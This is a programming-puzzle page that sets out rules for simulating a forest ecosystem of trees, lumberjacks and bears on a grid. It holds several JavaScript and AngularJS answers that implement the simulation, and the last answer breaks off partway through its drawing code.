title: Forest - A Simulated Ecosystem

text:
# Question
Title: Forest - A Simulated Ecosystem
## NOTE

This problem was taken from this reddit thread (spoiler alert!), and I have adjusted it to make it fit with this site's format. All credit goes to reddit user "Coder\_d00d".

In this problem, we will simulate a forest.

For this simulated forest we will be dealing with 3 aspects.

* Trees which can be a Sapling, Tree or Elder Tree.
* Lumberjacks (He chops down down trees, he eats his lunch and goes to the Lava-try)
* Bears (He mauls the lumberjacks who smells like pancakes)

A fore-warning: these rules are most probably not perfect. See them as a guideline, and if you need to tweak anything slightly that is fine (spawning rates have been pointed out as an issue, see kuroi neko's answer as an example of this.

## Cycle of time:

The simulation will simulate by months. You will progessive forward in time with a "tick". Each "tick" represents a month. Every 12 "ticks" represents a year. Our forest will change and be in constant change. We will record the progress of our forest and analyze what happens to it.

## Forest:

The forest will be a two dimensional forest. We will require an input of N to represent the size of the forest in a grid that is N x N in size. At each location you can hold Trees, Bears or Lumberjacks. **They can occupy the same spot** but often events occur when they occupy the same spot.

Our forest will be spawned randomly based on the size. For example if your value of N = 10. You will have a 10 by 10 forest and 100 spots.

* 10% of the Forest will hold a Lumberjack in 10 random spots. (using our 100 spot forest this should be 10 lumberjacks)
* 50% of the Forest will hold Trees (Trees can be one of 3 kinds and will start off as the middle one of "Tree") in random spots.
* 2% of the Forest will hold Bears.

How you receive the size of the forest is up to you (read from stdin, a file, or hardcode it in). I would recommend keeping N like 5 or higher. Small Forests are not much fun.

## Events:

During the simulation there will be events. The events occur based on some logic which I will explain below. I will describe the events below in each description of the 3 elements of our forest.

The events follow the order of trees first, lumberjacks second and bears last.

## Trees:

* Every month a Tree has a 10% chance to spawn a new "Sapling". In a random open space adjacent to a Tree you have a 10% chance to create a "Sapling".
* For example a Tree in the middle of the forest has 8 other spots around it. One of these (if they are empty) will become a "Sapling".
* After 12 months of being in existence a "Sapling" will be upgrade to a "Tree". A "Sapling" cannot spawn other trees until it has matured into a "Tree".
* Once a "Sapling" becomes a tree it can spawn other new "Saplings".
* When a "Tree" has been around for 120 months (10 years) it will become an "Elder Tree".
* Elder Trees have a 20% chance to spawn a new "Sapling" instead of 10%.
* If there are no open adjacent spots to a Tree or Elder Tree it will not spawn any new Trees.

## Lumberjacks:

Lumberjacks cut down trees, they skip and jump they like to press wild flowers.

* Each month lumberjacks will wander. They will move up to 3 times to a randomly picked spot that is adjacent in any direction. So for example a Lumberjack in the middle of your grid has 8 spots to move to. He will wander to a random spot. Then again. And finally for a third time. NB: This can be **any** spot (so they can walk into bears, resulting in a maul).
* When the lumberjack moves, if he encounters a Tree (not a sapling), he will stop and his wandering for that month comes to an end. He will then harvest the Tree for lumber. Remove the tree. Gain 1 piece of lumber.
* Lumberjacks will not harvest "Saplings".
* Lumberacks also harvest Elder Trees. Elder Trees are worth 2 pieces of lumber.

## Lumber Tracking:

Every 12 months the amount of lumber harvested is compared to the number of lumberjacks in the forest.

* If the lumber collected equals or exceeds the amount of lumberjacks in the forest a number of new lumberjacks are hired and randomly spawned in the forest.
* Work out the number of lumberjacks to hire with: `floor(lumber_collected / number_of_lumberjacks)`
* However if after a 12 month span the amount of lumber collected is below the number of lumberjacks then a lumberjack is let go to save money and 1 random lumberjack is removed from the forest. Note that you will never reduce your Lumberjack labor force below 0.

## Bears:

Bears wander the forest much like a lumberjack. However instead of 3 spaces a Bear will roam up to 5 spaces.

* If a bear comes across a Lumberjack he will stop his wandering for the month. (For example after 2 moves the bear lands on a space with a lumberjack he will not make any more moves for this month)
* Lumberjacks smell like pancakes. Bears love pancakes. Therefore the Bear will unfortunately maul and hurt the lumberjack. The lumberjack will be removed from the forest (He will go home and shop on wednesdays and have buttered scones for tea).
* We will track this as a "Maul" accident.
* Note that the lumberjack population can never drop below 1 - so if the last lumberjack is mauled just spawn another one in.

## Maul Tracking:

* During the course of 12 months if there 0 "Maul" accidents then the Bear population will increase by 1. If however there are any "Maul" accidents the Lumberjacks will hire a Zoo to trap and take a Bear away. Remove 1 random Bear. Note that if your Bear population reaches 0 bears then there will be no "Maul" accidents in the next year and so you will spawn 1 new Bear next year.
* If there is only 1 lumberjack in the forest and he gets Mauled, he will be sent home, but a new one will be hired immediately and respawned somewhere else in the forest. The lumberjack population can never drop below 1.

## Time:

The simulation occurs for 4800 months (400 years), or until no Saplings, Trees or Elder Trees exist.

## Output:

Every month you will print out a map of the forest - perhaps using an ASCII map, or using graphics and colours.

## Optional Extras

* You could output the populations of trees, lumberjacks and bears each tick.
* You could output whenever an event occurs (e.g: "A bear mauled a lumberjack.")

## Scoring

This is a popularity contest, so most upvotes wins!

EDIT - People have pointed out a number of flaws in my rules, and while you can feel free to ask me questions, it is also okay to tweak the rules a bit to suit your own program, or interpretation of the program.

# Answer
> 14 votes
# Javascript+HTML - try it

## Updated as per popular request

## General behaviour

The program is now somewhat interactive.
The source code is completely parametrized, so you can tweak a few more internal parameters with your favourite text editor.

You can change the forest size.
A minimum of 2 is required to have enough room to place a tree, a lumberjack and a bear on 3 different spots, and the max is arbitrarily fixed to 100 (which will make your average computer crawl).

You can also change the simulation speed.
Display is updated every 20 ms, so a greater time step will produce finer animations.

The buttons allow to stop/start the simulation, or run it for a month or a year.

Movement of the forest dwellers is now somewhat animated. Mauling and tree cutting events are also figured.

A log of some events is also displayed. Some more messages are available if you change the verbosity level, but that would flood you with "Bob cuts yet another tree" notifications.
I would rather not do it if I were you, but I ain't, so...

Beside the playground, a set of auto-scaled graphics are drawn:

* bears and lumberjacks populations
* total number of trees, divided in saplings, mature and elder trees

The legend also displays current quantities of each item.

## System stability

The graphs show that the initial conditions do not scale that gracefully. If the forest is too big, too many bears decimate the lumberjack population until enough of the pancake lovers have been put behind bars. This causes an initial explosion of elder trees, that in turn helps the lumberjack population to recover.

It seems 15 is the minimal size for the forest to survive. A forest of size 10 will usually get razed after a few hundred years. Any size above 30 will produce a map nearly full of trees. Between 15 and 30, you can see the tree population oscillating significantly.

## Some debatable rule points

In the comments of the original post, it seems various bipeds are not supposed to occupy the same spot. This contradicts somehow the rule about a redneck wandering into a pancake amateur.
At any rate, I did not follow that guideline. Any forest cell can hold any number of inhyabitants (and exactly zero or one tree). This might have some consequences on the lumberjack efficiency: I suspect it allows them to dig into a clump of elder trees more easily. As for bears, I don't expect this to make a lot of difference.

I also opted for having always at least one lumberjack in the forest, despite the point stating that the redneck population could reach zero (firing the last lumberjack on the map if the harvest was really poor, which will never happen anyway unless the forest has been chopped down to extinction).

## Tweaking

In order to achieve stability, I added two tweaking parameters :

1) lumberjacks growth rate

a coefficient applied to the formula that gives the number of extra lumberjacks hired when there is enough timber. Set to 1 to get back to original definition, but I found a value of about .5 allowed the forest (esp. elder trees) to develop better.

2) bear removal criterion

a coefficient that defines the minimal percentage of mauled lumberjacks to send a bear to the zoo. Set to 0 to go back to original definition, but this drastic bear elimination will basically limit the population to a 0-1 oscillation cycle. I set it to .15 (i.e. a bear is removed only if 15% or more of the lumberjacks have been mauled this year). This allows for a moderate bear population, sufficient to prevent the rednecks from wiping the area clean but still allowing a sizeable part of the forest to be chopped.

As a side note, the simulation never stops (even past the required 400 years). It could easily do so, but it doesn't.

## The code

The code is entirely contained in a single HTML page.
It **must be UTF-8 encoded** to display the proper unicode symbols for bears and lumberjacks.

***For the Unicode impaired systems*** (e.g. Ubuntu): find the following lines:

```
    jack   :{ pic: '', color:'#bc0e11' },
    bear   :{ pic: '', color:'#422f1e' }},

```

and change the pictograms for characters easier to display (`#`, `*`, whatever)

```
<!doctype html>
<meta charset=utf-8>
<title>Of jacks and bears</title>
<body onload='init();'>
    <style>
    #log p { margin-top: 0; margin-bottom: 0; }
    </style>
    <div id='main'>

    </div>
    <table>
        <tr>
            <td><canvas id='forest'></canvas></td>
            <td>
                <table>
                    <tr>
                        <td colspan=2>
                            <div>Forest size     <input type='text' size=10 onchange='create_forest(this.value);'>     </div>
                            <div>Simulation tick <input type='text' size= 5 onchange='set_tick(this.value);'     > (ms)</div>
                            <div>
                                <input type='button' value='◾'       onclick='stop();'>
                                <input type='button' value='▸'       onclick='start();'>
                                <input type='button' value='1 month' onclick='start(1);'>
                                <input type='button' value='1 year'  onclick='start(12);'>
                            </div>
                        </td>
                    </tr>
                    <tr>
                        <td id='log' colspan=2>
                        </td>
                    </tr>
                    <tr>
                        <td><canvas id='graphs'></canvas></td>
                        <td id='legend'></td>
                    </tr>
                    <tr>
                        <td align='center'>evolution over 60 years</td>
                        <td id='counters'></td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>

</body>

```

## What next?

More remarks are still welcome.

N.B: I'm aware sapling/mature/elder trees count is still a bit messy, but to hell with it.

Also, I find document.getElementById more readable than $, so no need to complain about the lack of jQueryisms. It's jQuery free on purpose. To Each his own, right?

# Answer
> 13 votes
## AngularJS

Here is my version, which is still a Work In Progress: the code is a bit… well… ugly. And quite slow. I also plan to add more options to parametrize the evolution and to analyse the state of the forest. Comments and amelioration proposals are welcome!

**Demonstration**

```
<div ng-app="ForestApp" ng-controller="ForestController">
    <form name="parametersForm" ng-hide="evolutionInProgress" autocomplete="off" novalidate>
        <div class="line">
            <label for="forestSize">Size of the forest:</label>
            <input type="number" ng-model="Parameters.forestSize" id="forestSize" min="5" ng-pattern="/^[0-9]+$/" required />
        </div>
        <div class="line">
            <label for="simulationInterval">Number of milliseconds between each tick</label>
            <input type="number" ng-model="Parameters.simulationInterval" id="simulationInterval" min="10" ng-pattern="/^[0-9]+$/" required />
        </div>
        <div class="line">
            <label for="animationsEnabled">Animations enabled?
                <br /><small>(>= 300 ms between each tick is advisable)</small>

            </label>
            <input type="checkbox" ng-model="Parameters.animationsEnabled" id="animationsEnabled" />
        </div>
        <div class="line">
            <button ng-disabled="parametersForm.$invalid || evolutionInProgress" ng-click="launchEvolution()">Launch the evolution!</button>
        </div>
    </form>
    <div id="forest" ng-style="{width: side = (20*Parameters.forestSize) + 'px', height: side, 'transition-duration': transitionDuration = (Parameters.animationsEnabled ? 0.8*Parameters.simulationInterval : 0) + 'ms', '-webkit-transition-duration': transitionDuration}">
        <div ng-repeat="bear in Forest.bearsList" class="entity entity--bear" ng-style="{left: (20*bear.x) + 'px', top: (20*bear.y) + 'px'}"></div>
        <div ng-repeat="lumberjack in Forest.lumberjacksList" class="entity entity--lumberjack" ng-style="{left: (20*lumberjack.x) + 'px', top: (20*lumberjack.y) + 'px'}"></div>
        <div ng-repeat="tree in Forest.treesList" class="entity entity--tree" ng-class="'entity--tree--' + tree.stage" ng-style="{left: (20*tree.x) + 'px', top: (20*tree.y) + 'px'}"></div>
    </div>
    <div class="line"><em>Age of the forest:</em><samp>{{floor(Forest.age/12)}} year{{floor(Forest.age/12) > 1 ? 's' : ''}} and {{Forest.age%12}} month{{Forest.age%12 > 1 ? 's' : ''}}</samp></div>
    <div class="line"><em>Number of bears:</em><samp>{{Forest.bearsList.length}}</samp></div>
    <div class="line"><em>Number of lumberjacks:</em><samp>{{Forest.lumberjacksList.length}}</samp></div>
    <br />
    <div class="line"><em>Number of lumbers collected:</em><samp>{{Forest.numberOfLumbers}}</samp></div>
    <div class="line"><em>Number of mauls:</em><samp>{{Forest.numberOfMauls}}</samp></div>
</div>

```

```
/** @link http://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array */
function shuffle(array) {
    var currentIndex = array.length,
        temporaryValue, randomIndex;

    // While there remain elements to shuffle...
    while (0 !== currentIndex) {

        // Pick a remaining element...
        randomIndex = Math.floor(Math.random() * currentIndex);
        currentIndex -= 1;

        // And swap it with the current element.
        temporaryValue = array[currentIndex];
        array[currentIndex] = array[randomIndex];
        array[randomIndex] = temporaryValue;
    }

    return array;
}

var forestApp = angular.module('ForestApp', ['ngAnimate']);

forestApp.value('Parameters', {
    /** @var int[] Maximal number of moves by species */
    speed: {
        bear: 5,
        lumberjack: 3,
    },

    /** @var int[] Initial percentage of each species in the forest */
    initialPercentage: {
        bear: 2,
        lumberjack: 10,
        tree: 50,
    },

    /** @var int[] Spawing rate, in percentage, of new saplings around an existing tree */
    spawningPercentage: {
        0: 0,
        1: 10,
        2: 20,
    },

    /** @var int[] Age of growth for an existing tree */
    ageOfGrowth: {
        sapling: 12,
        tree: 120,
    },

    /** @var int[] Lumber collected on an existing tree */
    numberOfLumbers: {
        tree: 1,
        elderTree: 2,
    },

    /** @var int Size of each side of the forest */
    forestSize: 20,

    /** @var int Number of milliseconds between each tick (month in the forest) */
    simulationInterval: 50,
});

forestApp.constant('TREE_STAGE', {
    SAPLING: 0,
    TREE: 1,
    ELDER_TREE: 2,
});

forestApp.factory('Tree', ['Forest', 'Parameters', 'TREE_STAGE', function (Forest, Parameters, TREE_STAGE) {
    // Classes which represents a tree
    var Tree = function (stage, x, y) {
        /** @var TREE_STAGE Current stage of the tree */
        this.stage = stage;

        /** @var int Current age of the tree, in month */
        this.age = 0;

        /** @var int X coordinates of the tree */
        this.x = x;

        /** @var int Y coordinates of the tree */
        this.y = y;

        this.tick = function () {
            if (Math.random() < Parameters.spawningPercentage[this.stage] / 100) {
                var freePositionsList = shuffle(Forest.getFreePositionsAround(this.x, this.y));
                if (freePositionsList.length > 0) {
                    var saplingPosition = freePositionsList[0];

                    Tree.create(TREE_STAGE.SAPLING, saplingPosition[0], saplingPosition[1]);
                }
            }

            ++this.age;

            if (this.stage === TREE_STAGE.SAPLING && this.age == Parameters.ageOfGrowth.sapling) {
                this.stage = TREE_STAGE.TREE;
            } else if (this.stage === TREE_STAGE.TREE && this.age == Parameters.ageOfGrowth.tree) {
                this.stage = TREE_STAGE.ELDER_TREE;
            }
        };

        /**
         * Remove the entity
         */
        this.remove = function () {
            var index = Forest.treesList.indexOf(this);
            Forest.treesList.splice(index, 1);
        };
    };

    Tree.create = function (stage, x, y) {
        Forest.add.tree(new Tree(stage, x, y));
    };

    return Tree;
}]);

forestApp.factory('Lumberjack', ['Forest', 'Parameters', 'TREE_STAGE', function (Forest, Parameters, TREE_STAGE) {
    // Classes which represents a lumberjack
    var Lumberjack = function (x, y) {
        /** @var int X coordinates of the lumberjack */
        this.x = x;

        /** @var int Y coordinates of the lumberjack */
        this.y = y;

        this.tick = function () {
            for (movement = Parameters.speed.lumberjack; movement > 0; --movement) {
                var positionsList = shuffle(Forest.getPositionsAround(this.x, this.y));
                var newPosition = positionsList[0];
                this.x = newPosition[0];
                this.y = newPosition[1];

                var tree = Forest.getTreeAt(this.x, this.y);
                if (tree !== null) {
                    if (tree.stage === TREE_STAGE.SAPLING) {
                        return;
                    } else if (tree.stage === TREE_STAGE.TREE) {
                        Forest.numberOfLumbers += Parameters.numberOfLumbers.tree;
                    } else {
                        Forest.numberOfLumbers += Parameters.numberOfLumbers.elderTree;
                    }

                    tree.remove();
                    movement = 0;
                };
            }
        };

        /**
         * Remove the entity
         */
        this.remove = function () {
            if (Forest.lumberjacksList.length === 1) {
                this.x = Math.floor(Math.random() * Parameters.forestSize);
                this.y = Math.floor(Math.random() * Parameters.forestSize);
            } else {
                var index = Forest.lumberjacksList.indexOf(this);
                Forest.lumberjacksList.splice(index, 1);
            }
        };
    };

    Lumberjack.create = function (x, y) {
        Forest.add.lumberjack(new Lumberjack(x, y));
    };

    return Lumberjack;
}]);

forestApp.factory('Bear', ['Forest', 'Parameters', function (Forest, Parameters) {
    // Classes which represents a bear
    var Bear = function (x, y) {
        /** @var int X coordinates of the bear */
        this.x = x;

        /** @var int Y coordinates of the bear */
        this.y = y;

        this.tick = function () {
            for (movement = Parameters.speed.bear; movement > 0; --movement) {
                var positionsList = shuffle(Forest.getPositionsAround(this.x, this.y));
                var newPosition = positionsList[0];
                this.x = newPosition[0];
                this.y = newPosition[1];

                angular.forEach(Forest.getLumberjacksListAt(this.x, this.y), function (lumberjack) {
                    lumberjack.remove();
                    ++Forest.numberOfMauls;
                    movement = 0;
                });
            }
        };

        /**
         * Remove the entity
         */
        this.remove = function () {
            var index = Forest.bearsList.indexOf(this);
            Forest.bearsList.splice(index, 1);
        };
    };

    Bear.create = function (x, y) {
        Forest.add.bear(new Bear(x, y));
    };

    return Bear;
}]);

forestApp.service('Forest', ['Parameters', function (Parameters) {
    var forest = this;

    this.age = 0;
    this.numberOfLumbers = 0;
    this.numberOfMauls = 0;

    this.bearsList = [];
    this.lumberjacksList = [];
    this.treesList = [];

    this.getEntitiesList = function () {
        return forest.bearsList.concat(forest.lumberjacksList, forest.treesList);
    };

    /**
     * Age the forest by one month
     */
    this.tick = function () {
        angular.forEach(forest.getEntitiesList(), function (entity) {
            entity.tick();
        });

        ++forest.age;
    };

    this.add = {
        bear: function (bear) {
            forest.bearsList.push(bear);
        },
        lumberjack: function (lumberjack) {
            forest.lumberjacksList.push(lumberjack);
        },
        tree: function (tree) {
            forest.treesList.push(tree);
        },
    };

    /**
     * @return Tree|null Tree at this position, or NULL if there is no tree.
     */
    this.getTreeAt = function (x, y) {
        var numberOfTrees = forest.treesList.length;
        for (treeId = 0; treeId < numberOfTrees; ++treeId) {
            var tree = forest.treesList[treeId];
            if (tree.x === x && tree.y === y) {
                return tree;
            }
        }

        return null;
    };

    /**
     * @return Lumberjack[] List of the lumberjacks at this position
     */
    this.getLumberjacksListAt = function (x, y) {
        var lumberjacksList = [];
        angular.forEach(forest.lumberjacksList, function (lumberjack) {
            if (lumberjack.x === x && lumberjack.y === y) {
                lumberjacksList.push(lumberjack);
            }
        });

        return lumberjacksList;
    };

    /**
     * @return int[] Positions around this position
     */
    this.getPositionsAround = function (x, y) {
        var positionsList = [
            [x - 1, y - 1],
            [x, y - 1],
            [x + 1, y - 1],
            [x - 1, y],
            [x + 1, y],
            [x - 1, y + 1],
            [x, y + 1],
            [x + 1, y + 1]
        ];

        return positionsList.filter(function (position) {
            return (position[0] >= 0 && position[1] >= 0 && position[0] < Parameters.forestSize && position[1] < Parameters.forestSize);
        });
    };

    /**
     * @return int[] Positions without tree around this position
     */
    this.getFreePositionsAround = function (x, y) {
        var positionsList = forest.getPositionsAround(x, y);

        return positionsList.filter(function (position) {
            return forest.getTreeAt(position[0], position[1]) === null;
        });
    };
}]);

forestApp.controller('ForestController', ['$interval', '$scope', 'Bear', 'Forest', 'Lumberjack', 'Parameters', 'Tree', 'TREE_STAGE', function ($interval, $scope, Bear, Forest, Lumberjack, Parameters, Tree, TREE_STAGE) {
    $scope.Forest = Forest;
    $scope.Parameters = Parameters;
    $scope.evolutionInProgress = false;
    $scope.floor = Math.floor;

    var positionsList = [];

    /**
     * Start the evolution of the forest
     */
    $scope.launchEvolution = function () {
        $scope.evolutionInProgress = true;

        for (var x = 0; x < Parameters.forestSize; ++x) {
            for (var y = 0; y < Parameters.forestSize; ++y) {
                positionsList.push([x, y]);
            }
        }

        shuffle(positionsList);
        var numberOfBears = Parameters.initialPercentage.bear * Math.pow(Parameters.forestSize, 2) / 100;
        for (var bearId = 0; bearId < numberOfBears; ++bearId) {
            Bear.create(positionsList[bearId][0], positionsList[bearId][1]);
        }

        shuffle(positionsList);
        var numberOfLumberjacks = Parameters.initialPercentage.lumberjack * Math.pow(Parameters.forestSize, 2) / 100;
        for (var lumberjackId = 0; lumberjackId < numberOfLumberjacks; ++lumberjackId) {
            Lumberjack.create(positionsList[lumberjackId][0], positionsList[lumberjackId][1]);
        }

        shuffle(positionsList);
        var numberOfTrees = Parameters.initialPercentage.tree * Math.pow(Parameters.forestSize, 2) / 100;
        for (var treeId = 0; treeId < numberOfTrees; ++treeId) {
            Tree.create(TREE_STAGE.TREE, positionsList[treeId][0], positionsList[treeId][1]);
        }

        $interval(function () {
            Forest.tick();

            if (Forest.age % 12 === 0) {
                // Hire or fire lumberjacks
                if (Forest.numberOfLumbers >= Forest.lumberjacksList.length) {
                    shuffle(positionsList);
                    var numberOfLumberjacks = Math.floor(Forest.numberOfLumbers / Forest.lumberjacksList.length);
                    for (var lumberjackId = 0; lumberjackId < numberOfLumberjacks; ++lumberjackId) {
                        Lumberjack.create(positionsList[lumberjackId][0], positionsList[lumberjackId][1]);
                    }
                } else {
                    shuffle(Forest.lumberjacksList);
                    Forest.lumberjacksList[0].remove();
                }

                // Hire or fire bears
                if (Forest.numberOfMauls === 0) {
                    shuffle(positionsList);
                    Bear.create(positionsList[0][0], positionsList[0][1]);
                } else {
                    Forest.bearsList[0].remove();
                }

                Forest.numberOfLumbers = 0;
                Forest.numberOfMauls = 0;
            }

        }, Parameters.simulationInterval);
    };
}]);

```

# Answer
> 3 votes
# Javascript

I think this mostly works. There's some wonky behavior where I spawn all the new bears/lumberjacks in sync and right next to each other because laziness in insertions.

This implementation does not allow lumberjacks to stand on saplings, cause you know, trampling saplings is bad. Fiddle art uses colored rectangles by default, change the second line to false to use letters to draw.

fiddle

HTML:

```
<canvas id="c" width="1" height="1"></canvas>
<div id="p1"></div>
<div id="p2"></div>
<div id="p3"></div>
<div id="p4"></div>

```

Js:

```
var n = 10; // Size of the grid
var drawUsingColor = true; // If true, draws colors for each entity instead :D
var intervalTime = 1000; // how often each tick happens, in milliseconds
var jackRatio = 0.1;
var treeRatio = 0.5;
var bearRatio = 0.02;
var size = 48; // Pixels allocated (in size x size) for each entity
var font = "30px Lucida Console"; // if drawUsingColor is false

var bearColor = '#8B4513'; // Saddlebrown
var elderColor = '#556B2F'; // DarkOliveGreen
var lumberjackColor = '#B22222'; // Firebrick
var treeColor = '#008000'; // Green
var saplingColor = '#ADFF2F'; // GreenYellow

// Game rules:
var spawnSaplingChance = 0.1;
var elderTreeAge = 120;
var elderSaplingChance = 0.2;
var treeAge = 12;
var lumberjackRange = 3;
var bearRange = 5;
var zooPeriod = 12; // If a maul happens within this period
var lumberPeriod = 12; // New lumberjacks hired in this period

var time = 1;

var world;
var n2 = n * n; //because one saved keystroke
var zooqueue = [];
var lumberqueue = [];
var canvas = document.getElementById('c'); // Needs more jquery
var context = canvas.getContext('2d');
context.font = font;

// various statistics
var treesAlive = 0;
var jacksAlive = 0;
var bearsAlive = 0;
var currentLumber = 0;
var lumberjacksMauled = 0;
var recentEvents = '';

// Entity is a bear, eldertree, lumberjack, tree, sapling, with age. aka belts.
function Entity(belts, birthday) {
    this.type = belts;
    this.age = 0;
    this.birthday = birthday;
}

function initWorld() {
    canvas.height = size * n;
    canvas.width = size * n;
    world = new Array(n2);

    // One pass spawning algorithm: numEntity = number of entity left to spawn
    // If rand() in range [0,numtrees), spawn tree
    // if rand() in range [numtrees, numtrees+numjacks), spawn lumberjack
    // if rand() in range [numtrees+numjacks, numtrees+numjacks+numbears), spawn bear

    var numTrees = treeRatio * n2;
    var numJacks = jackRatio * n2;
    var numBears = bearRatio * n2;

    var godseed = new Array(n2);
    for (var i = 0; i < n2; i++) {
        godseed[i] = i;
    }
    shuffle(godseed);

    for (var i = 0; i < n2; i++) {
        var god = godseed.pop();
        if (god < numTrees) {
            world[i] = new Entity('T', 0);
            treesAlive++;
        } else if (god < numTrees + numJacks) {
            world[i] = new Entity('L', 0);
            jacksAlive++;
        } else if (god < numTrees + numJacks + numBears) {
            world[i] = new Entity('B', 0);
            bearsAlive++;
        }
        // console.log(world, i);
    }

    // populate zoo array, lumber array
    for (var i = 0; i < zooPeriod; i++) {
        zooqueue.push(0);
    }

    for (var i = 0; i < lumberPeriod; i++) {
        lumberqueue.push(0);
    }
}

animateWorld = function () {
    recentEvents = '';
    computeWorld();
    drawWorld();
    time++;

    $('#p1').text(treesAlive + ' trees alive');
    $('#p2').text(bearsAlive + ' bears alive');
    $('#p3').text(jacksAlive + ' lumberjacks alive');
    $('#p4').text(recentEvents);
};

function computeWorld() {
    zooqueue.push(lumberjacksMauled);
    lumberqueue.push(currentLumber);

    // Calculate entity positions
    for (var i = 0; i < n2; i++) {
        if (world[i]) {
            switch (world[i].type) {
                case 'B':
                    bearStuff(i);
                    break;
                case 'E':
                    elderStuff(i);
                    break;
                case 'L':
                    lumberjackStuff(i);
                    break;
                case 'T':
                    treeStuff(i);
                    break;
                case 'S':
                    saplingStuff(i);
                    break;
            }
        }
    }

    // Pop the # mauls from zooPeriod's ago, if lumberjacksMauled > oldmauls, then someone was eaten.
    var oldmauls = zooqueue.shift();
    if (time % zooPeriod === 0) {
        if (lumberjacksMauled > oldmauls) {
            if (remove('B') == 1) {
                bearsAlive--;
                recentEvents += 'Bear sent to zoo! ';
            }
        } else {
            bearsAlive++;
            spawn('B');
            recentEvents += 'New bear appeared! ';
        }
    }

    var oldLumber = lumberqueue.shift();
    if (time % lumberPeriod === 0) {
        // # lumberjack to hire
        var hire = Math.floor((currentLumber - oldLumber) / jacksAlive);
        if (hire > 0) {
            recentEvents += 'Lumber jack hired! (' + hire + ') ';
            while (hire > 0) {
                jacksAlive++;
                spawn('L');
                hire--;
            }
        } else {
            if (remove('L') == 1) {
                recentEvents += 'Lumber jack fired!  ';
                jacksAlive--;
            }
            else {
            }
        }
    }

    // Ensure > 1 lumberjack
    if (jacksAlive === 0) {
        jacksAlive++;
        spawn('L');
        recentEvent += 'Lumberjack spontaneously appeared';
    }
}

// Not the job of spawn/remove to keep track of whatever was spawned/removed
function spawn(type) {
    var index = findEmpty(type);
    if (index != -1) {
        world[index] = new Entity(type, time);
    }
    // recentEvents += 'Spawned a ' + type + '\n';
}

function remove(type) {
    var index = findByType(type);
    if (index != -1) {
        world[index] = null;
        return 1;
    }
    return -1;
    // recentEvents += 'Removed a ' + type + '\n';
}

// Searches in world for an entity with type=type. Currently implemented as
// linear scan, which isn't very random
function findByType(type) {
    for (var i = 0; i < n2; i++) {
        if (world[i] && world[i].type == type) return i;
    }
    return -1;
}

// Also linear scan
function findEmpty(type) {
    for (var i = 0; i < n2; i++) {
        if (!world[i]) {
            return i;
        }
    }
    return -1;
}

function bearStuff(index) {
    if (world[index].birthday == time) {
        return;
    }

    // Wander around
    var tindex = index;
    for (var i = 0; i < lumberjackRange; i++) {
        var neighbors = get8Neighbor(tindex);

        var mov = neighbors[Math.floor(Math.random() * neighbors.length)];
        if (world[mov] && world[mov].type == 'L') {
            recentEvents += 'Bear (' + index % 10 + ',' + Math.floor(index / 10) + ') mauled a Lumberjack (' + mov % 10 + ',' + Math.floor(mov / 10) + ') !';
            lumberjacksMauled++;
            jacksAlive--;
            world[mov] = new Entity('B', time);
            world[mov].age = ++world[index].age;
            world[index] = null;
            return;
        }
        tindex = mov;
    }

    if (!world[tindex]) {
        world[tindex] = new Entity('B', time);
        world[tindex].age = ++world[index].age;
        world[index] = null;
    }
}

function elderStuff(index) {
    if (world[index].birthday == time) {
        return;
    }
    neighbors = get8Neighbor(index);

    // spawn saplings
    for (var i = 0; i < neighbors.length; i++) {
        if (!world[neighbors[i]]) {
            if (Math.random() < elderSaplingChance) {
                world[neighbors[i]] = new Entity('S', time);
                treesAlive++;
            }
        }
    }

    // become older
    world[index].age++;
}

function lumberjackStuff(index) {
    if (world[index].birthday == time) {
        return;
    }

    // Wander around
    var tindex = index;
    for (var i = 0; i < lumberjackRange; i++) {
        var neighbors = get8Neighbor(tindex);

        var mov = neighbors[Math.floor(Math.random() * neighbors.length)];
        if (world[mov] && (world[mov].type == 'T' || world[mov].type == 'E')) {
            world[mov].type == 'T' ? currentLumber++ : currentLumber += 2;
            treesAlive--;
            world[mov] = new Entity('L', time);
            world[mov].age = ++world[index].age;
            world[index] = null;
            return;
        }
        tindex = mov;
    }

    if (!world[tindex]) {
        world[tindex] = new Entity('L', time);
        world[tindex].age = ++world[index].age;
        world[index] = null;
    }
}

function treeStuff(index) {
    if (world[index].birthday == time) {
        return;
    }
    neighbors = get8Neighbor(index);

    // spawn saplings
    for (var i = 0; i < neighbors.length; i++) {
        if (!world[neighbors[i]]) {
            if (Math.random() < spawnSaplingChance) {
                world[neighbors[i]] = new Entity('S', time);
                treesAlive++;
            }
        }
    }

    // promote to elder tree?
    if (world[index].age >= elderTreeAge) {
        world[index] = new Entity('E', time);
        return;
    }

    // become older
    world[index].age++;
}

function saplingStuff(index) {
    if (world[index].birthday == time) {
        return;
    }

    // promote to tree?
    if (world[index].age > treeAge) {
        world[index] = new Entity('T', time);
        return;
    }
    world[index].age++;
}

// Returns array containing up to 8 valid neighbors.
// Prolly gonna break for n < 3 but oh well
function get8Neighbor(index) {
    neighbors = [];

    if (index % n != 0) {
        neighbors.push(index - n - 1);
        neighbors.push(index - 1);
        neighbors.push(index + n - 1);
    }
    if (index % n != n - 1) {
        neighbors.push(index - n + 1);
        neighbors.push(index + 1);
        neighbors.push(index + n + 1);
    }
    neighbors.push(index - n);
    neighbors.push(index + n);
    return neighbors.filter(function (val, ind, arr) {
        return (0 <= val && val < n2)
    });
}

// Each entity allocated 5x5px for their art
function drawWorld() {
    context.clearRect(0, 0, canvas.width, canvas.height);
    for (var i = 0; i < n2; i++) {
        if (world[i]) {
            var x = i % n;
            var y = Math.floor(i / n);
            switch (world[i].type) {
                case 'B':
                    drawBear(x, y);
                    break;
                case 'E':
                    drawElder(x, y);
                    break;
                case 'L':
                    drawJack(x, y);
                    break;
                case 'T':
                    drawTree(x, y);
                    break;
                case 'S':
                    drawSapling(x, y);
                    break;
            }
        }
    }
}

function drawBear(x, y) {
    if (drawUsingColor) {
        drawRect(x * size, y * size, size, size, bearColor);
    } else {
        drawLetter(x * size, y * size, 'B');
    }
}

function drawElder(x, y) {
    if (drawUsingColor) {
        drawRect(x * size, y * size, size, size, elderColor);
    } else {
        drawLetter(x * size, y * size, 'E');
    }
}

function drawJack(x, y) {
    if (drawUsingColor) {
        drawRect(x * size, y * size, size, size, lumberjackColor);
    } else {
        drawLetter(x * size, y * size, 'J');
    }
}

function drawTree(x, y) {
    if (drawUsingColor) {
        drawRect(x * size, y * size, size, size, treeColor);
    } else {
        drawLetter(x * size, y * size, 'T');
    }
}

function drawSapling(x, y) {
    if (drawUsingColor) {
        drawRect(x * size, y * size, size, size, saplingColor);
    } else {
